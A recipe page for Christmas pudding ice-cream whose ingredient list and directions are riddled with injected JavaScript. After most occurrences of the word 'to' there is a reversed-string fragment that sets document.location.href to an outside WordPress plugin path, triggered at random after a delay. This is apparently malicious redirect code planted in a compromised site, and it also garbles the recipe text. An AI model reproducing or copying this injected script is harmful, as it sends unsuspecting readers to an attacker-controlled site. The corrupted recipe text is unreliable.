Christmas pudding ice-cream

With all the flavours of a traditional Christmas pudding, this ice-cream version is just perfect for a hot December.

INGREDIENTS

150g mixed dried fruit
80ml (1/3 cup) brandy
40ml (2 tablespoons) dark rum
1 orange, grated zest, juice
500ml (2 cups) thin cream
250ml (1 cup) milk
1 vanilla bean, split
1 cinnamon stick
6 egg yolks
1/2 cup caster sugar
300ml thickened cream, lightly whipped
1/2 teaspoon mixed spice
Silver dragée and crystallised rose petals, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to serve

DIRECTIONS

• Place the dried fruit, brandy, rum, orange zest and juice in a bowl and set aside overnight toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to macerate.
• The next day, place thin cream, milk, vanilla bean and cinnamon stick in a saucepan over medium-low heat until just simmering. Remove from heat and set aside for five minutes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to infuse.
• Meanwhile, place the egg yolks and sugar in a bowl and whisk until pale and thick. Strain the hot cream mixture over the egg yolks and whisk toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to combine. Clean pan and return mixture toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to low heat until it thickens and coats the back of a spoon. Transfer toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a shallow container and leave toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cool.
• Once cool, fold in thickened cream, then freeze until frozen around edges. Beat with an electric beater. Re-freeze. Repeat twice more, folding in the macerated fruit and mixed spice during final beating, then place in moulds.
• Freeze until firm. (Alternatively churn in an ice-cream machine following manufacturer’s directions and adding the macerated fruit and mixed spice when almost finished churning, then place in dariole moulds and freeze until firm.)
• To serve, dip base of each mould in warm water for a few seconds, then invert ontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to serving plates and garnish with degrees and rose petals.